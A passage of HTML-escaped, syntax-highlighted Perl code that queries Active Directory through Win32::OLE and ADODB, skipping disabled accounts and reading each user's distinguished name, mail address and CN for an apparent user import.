#000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;CommandText&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$cmd&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;68&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;69&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;import&amp;nbsp;all&amp;nbsp;users&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;70&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objCommand&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Properties&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;Page&amp;nbsp;Size&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;1000&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;71&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;search&amp;nbsp;all&amp;nbsp;subtree&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;72&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objCommand&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Properties&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;searchscope&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;}&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ADS_SCOPE_SUBTREE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;73&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;74&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objRecordSet&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Win32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;OLE&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;new(&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;ADODB.Recordset&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;75&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objRecordSet&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objCommand&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Execute(&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;||&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;die&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;query&amp;nbsp;data&amp;nbsp;from&amp;nbsp;active&amp;nbsp;directory&amp;nbsp;error,exitn&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;76&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;77&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;while&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;not&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objRecordSet&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;eof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;78&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;79&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$intUAC&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objRecordSet&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Fields(&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;userAccountControl&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;value;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;80&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;81&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;remove&amp;nbsp;diable&amp;nbsp;account&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;82&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;not&amp;nbsp;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$intUAC&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ADS_UF_ACCOUNTDISABLE&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;83&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;84&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$longName&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objRecordSet&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Fields(&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;distinguishedName&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;value;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;85&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$mail&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$objRecordSet&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Fields(&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;mail&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;value;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;86&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;87&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;(&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;defined&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$mail&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;))&amp;nbsp;or&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$mail&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;eq&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;""&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;88&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;89&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$mail&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;null&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;90&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;91&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$longName&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=~&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;/^&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;CN&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;([w&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;_]&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;92&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;93&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;print&amp;nbsp;."n";&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;94&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$userName&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;$&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;95&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;96&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;chomp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$mail&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;97&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: 